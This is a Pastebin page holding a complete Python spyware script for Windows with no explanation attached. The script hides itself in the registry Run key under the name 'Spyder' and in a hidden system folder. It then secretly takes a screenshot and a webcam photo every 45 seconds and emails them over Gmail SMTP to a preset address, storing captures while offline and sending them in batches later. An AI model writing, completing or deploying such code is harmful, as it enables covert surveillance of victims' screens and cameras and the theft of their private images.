Advertisement
Guest User

Script

a guest
Sep 7th, 2018
444
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 11.63 KB | None | 0 0
  1. import os
  2. import cv2
  3. import time
  4. import numpy
  5. import scipy
  6. import string
  7. import random
  8. import smtplib
  9. import _winreg
  10. import requests
  11. import pyautogui
  12. import subprocess
  13. from email import Encoders
  14. from email.MIMEBase import MIMEBase
  15. from email.mime.image import MIMEImage
  16. from email.mime.multipart import MIMEMultipart
  17. from email.mime.application import MIMEApplication
  18.  
  19.  
  20.  
  21. fromadd = 'fromadd@gmail.com'
  22. toadd = 'toadd@gmail.com'
  23. password = 'password'
  24.  
  25.  
  26.  
  27. def is_at_startup():
  28.  
  29.     areg = _winreg.ConnectRegistry(None, _winreg.HKEY_CURRENT_USER)
  30.  
  31.     try:
  32.         akey = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Spyder.exe', 0, _winreg.KEY_WRITE)
  33.         areg.Close()
  34.         akey.Close()
  35.  
  36.     except WindowsError:
  37.  
  38.         key = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, _winreg.KEY_SET_VALUE)
  39.         _winreg.SetValueEx(key, 'Spyder', 0, _winreg.REG_SZ, 'C:\Program Files (x86)\Spyder\Spyder.exe')
  40.  
  41.         areg.Close()
  42.         key.Close()
  43.  
  44.  
  45.  
  46. def naming():
  47.  
  48.     global name
  49.     global clock
  50.     global webcam_name
  51.     global screenshot_name
  52.    
  53.     name = ''
  54.    
  55.     for i in range(20):
  56.         x = random.randint(0, 61)
  57.         name += string.printable[x]
  58.  
  59.     clock = time.ctime().replace(':', '-')
  60.     screenshot_name = clock + ' _Screenshot_ ' + name + '.jpg'
  61.     webcam_name = clock + ' _Webcam_ ' + name + '.jpg'
  62.  
  63.  
  64.  
  65. def make_folder():
  66.  
  67.     if os.path.exists(os.path.join('C:' + os.sep, 'root')) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')) and os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) and os.path.exists(os.path.join(r'C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
  68.         subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)
  69.  
  70.  
  71.     if os.path.exists(os.path.join('C:' + os.sep, 'root')):
  72.         pass
  73.  
  74.  
  75.     if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
  76.         pass
  77.  
  78.  
  79.     if os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
  80.         pass
  81.  
  82.  
  83.     if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
  84.         pass
  85.  
  86.     if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
  87.         pass
  88.  
  89.  
  90.     if not os.path.exists(os.path.join('C:' + os.sep, 'root')):
  91.         os.mkdir(os.path.join('C:' + os.sep, 'root'))
  92.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
  93.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
  94.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
  95.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
  96.  
  97.         subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)
  98.  
  99.  
  100.     if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
  101.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
  102.  
  103.  
  104.     if not os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
  105.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
  106.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
  107.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
  108.  
  109.  
  110.     if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
  111.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
  112.        
  113.  
  114.     if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
  115.         os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
  116.  
  117.  
  118.  
  119. def is_internet():
  120.  
  121.     try:
  122.         requests.get("http://www.google.com")
  123.         return True
  124.  
  125.     except requests.ConnectionError:
  126.         return False
  127.  
  128.  
  129.  
  130. def login():
  131.  
  132.     global msg
  133.  
  134.     sessions = smtplib.SMTP('smtp.gmail.com', '587')
  135.     sessions.ehlo()
  136.     sessions.starttls()
  137.     sessions.ehlo()
  138.     sessions.login(fromadd, password)
  139.     sessions.sendmail(fromadd, toadd, msg.as_string())
  140.     sessions.quit()
  141.  
  142.     msg = MIMEMultipart()
  143.  
  144.  
  145.  
  146. def capturing():
  147.  
  148.     os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
  149.  
  150.     screenshot = pyautogui.screenshot()
  151.     screenshot.save(screenshot_name)  
  152.  
  153.     cam = cv2.VideoCapture(cv2.CAP_DSHOW)
  154.     ret, frame = cam.read()
  155.     cv2.imwrite(webcam_name, frame)
  156.     cam.release()
  157.     cv2.destroyAllWindows()
  158.  
  159.  
  160.  
  161. def no_internet_screenshot():
  162.     os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
  163.     screenshot = pyautogui.screenshot()
  164.     screenshot.save(screenshot_name)
  165.  
  166.  
  167.  
  168. def no_internet_webcam():
  169.     os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
  170.  
  171.     cam = cv2.VideoCapture(cv2.CAP_DSHOW)
  172.     ret, frame = cam.read()
  173.     cv2.imwrite(webcam_name, frame)
  174.     cam.release()
  175.     cv2.destroyAllWindows()
  176.  
  177.  
  178.  
  179. def send_mail(fromadd, toadd):
  180.  
  181.     global msg
  182.  
  183.     msg = MIMEMultipart()
  184.     msg['From'] = fromadd
  185.     msg['To'] = toadd
  186.     msg['Subject'] = '-- Screenshot & Webcam  - Internet Connection'
  187.  
  188.     screenshot_data = open(screenshot_name, 'rb').read()
  189.     webcam_data = open(webcam_name, 'rb').read()
  190.    
  191.     send_screenshot = MIMEImage(screenshot_data, name=os.path.basename(screenshot_name))
  192.     send_webcam_pic = MIMEImage(webcam_data, name=os.path.basename(webcam_name))
  193.  
  194.     msg.attach(send_screenshot)
  195.     msg.attach(send_webcam_pic)
  196.    
  197.     if is_internet():
  198.         login()
  199.        
  200.         for f in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
  201.             os.remove(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet', f))
  202.  
  203.    
  204.  
  205. def no_internet_sending_screenshot(fromadd, toadd):
  206.  
  207.     global msg
  208.     msg = MIMEMultipart()
  209.     msg['From'] = fromadd
  210.     msg['To'] = toadd
  211.     msg['Subject'] = '-- Screenshot  - No Internet'
  212.  
  213.     screenshot_path = []
  214.     del_path = []
  215.     screenshot_num = 0
  216.  
  217.     for screenshot_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
  218.         abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Screenshot' + os.sep, screenshot_image)
  219.         screenshot_path.append(abs_path)
  220.  
  221.     while len(screenshot_path) > 0:
  222.         if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')) > 0:
  223.             for screenshot_img in screenshot_path:
  224.                 if len(screenshot_path) > 100:
  225.                     part = MIMEBase('application', 'octet-stream')
  226.                     part.set_payload(open(screenshot_img, 'rb').read())
  227.                     Encoders.encode_base64(part)
  228.                     part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(screenshot_img)))
  229.                     msg.attach(part)
  230.  
  231.                     del_path.append(screenshot_img)
  232.                     screenshot_num += 1
  233.                    
  234.                     if screenshot_num == 100:
  235.                         login()
  236.  
  237.                         capturing()
  238.                         send_mail(fromadd, toadd)
  239.  
  240.                         for dlt in del_path:
  241.                             screenshot_path.remove(dlt)
  242.                             os.remove(dlt)
  243.  
  244.                         del_path = []
  245.  
  246.                         screenshot_num = 0
  247.  
  248.                 else:
  249.                     for screenshot_img in screenshot_path:
  250.                         part = MIMEBase('application', 'octet-stream')
  251.                         part.set_payload(open(screenshot_img, 'rb').read())
  252.                         Encoders.encode_base64(part)
  253.                         part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(screenshot_img)))
  254.                         msg.attach(part)
  255.  
  256.                         del_path.append(screenshot_img)
  257.                         screenshot_num += 1
  258.  
  259.                         if screenshot_num == len(screenshot_path):
  260.                             login()
  261.  
  262.                             capturing()
  263.                             send_mail(fromadd, toadd)
  264.  
  265.                             for dlt in del_path:
  266.                                 screenshot_path.remove(dlt)
  267.                                 os.remove(dlt)
  268.  
  269.                             del_path = []
  270.  
  271.         else:
  272.             break
  273.  
  274.  
  275. def no_internet_sending_webcam(fromadd, toadd):
  276.  
  277.     global msg
  278.     msg = MIMEMultipart()
  279.     msg['From'] = fromadd
  280.     msg['To'] = toadd
  281.     msg['Subject'] = '-- Webcam pic  - No Internet'
  282.  
  283.     webcam_path = []
  284.     del_path = []
  285.     webcam_num = 0
  286.  
  287.     for webcam_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
  288.         abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Webcam' + os.sep, webcam_image)
  289.         webcam_path.append(abs_path)
  290.  
  291.     while len(webcam_path) > 0:
  292.         if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) > 0:
  293.             for webcam_img in webcam_path:
  294.                 if len(webcam_path) > 100:
  295.                     part = MIMEBase('application', 'octet-stream')
  296.                     part.set_payload(open(webcam_img, 'rb').read())
  297.                     Encoders.encode_base64(part)
  298.                     part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(webcam_img)))
  299.                     msg.attach(part)
  300.  
  301.                     del_path.append(webcam_img)
  302.                     webcam_num += 1
  303.                    
  304.                     if webcam_num == 100:
  305.                         login()
  306.  
  307.                         capturing()
  308.                         send_mail(fromadd, toadd)
  309.  
  310.                         for dlt in del_path:
  311.                             webcam_path.remove(dlt)
  312.                             os.remove(dlt)
  313.  
  314.                         del_path = []
  315.  
  316.                         webcam_num = 0
  317.  
  318.                 else:
  319.                     for webcam_img in webcam_path:
  320.                         part = MIMEBase('application', 'octet-stream')
  321.                         part.set_payload(open(webcam_img, 'rb').read())
  322.                         Encoders.encode_base64(part)
  323.                         part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(webcam_img)))
  324.                         msg.attach(part)
  325.  
  326.                         del_path.append(webcam_img)
  327.                         webcam_num += 1
  328.  
  329.                         if webcam_num == len(webcam_path):
  330.                             login()
  331.  
  332.                             capturing()
  333.                             send_mail(fromadd, toadd)
  334.  
  335.                             for dlt in del_path:
  336.                                 webcam_path.remove(dlt)
  337.                                 os.remove(dlt)
  338.  
  339.                             del_path = []
  340.  
  341.         else:
  342.             break
  343.  
  344.  
  345. def main():
  346.  
  347.     is_at_startup()
  348.     make_folder()
  349.  
  350.     while True:
  351.  
  352.         naming()
  353.  
  354.         if is_internet():
  355.  
  356.             no_internet_sending_screenshot(fromadd, toadd)
  357.             no_internet_sending_webcam(fromadd, toadd)
  358.  
  359.             capturing()
  360.             send_mail(fromadd, toadd)
  361.  
  362.             time.sleep(45)
  363.  
  364.  
  365.         else:
  366.  
  367.             no_internet_screenshot()
  368.             no_internet_webcam()
  369.  
  370.             time.sleep(45)
  371.  
  372.  
  373. if __name__ == '__main__':
  374.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement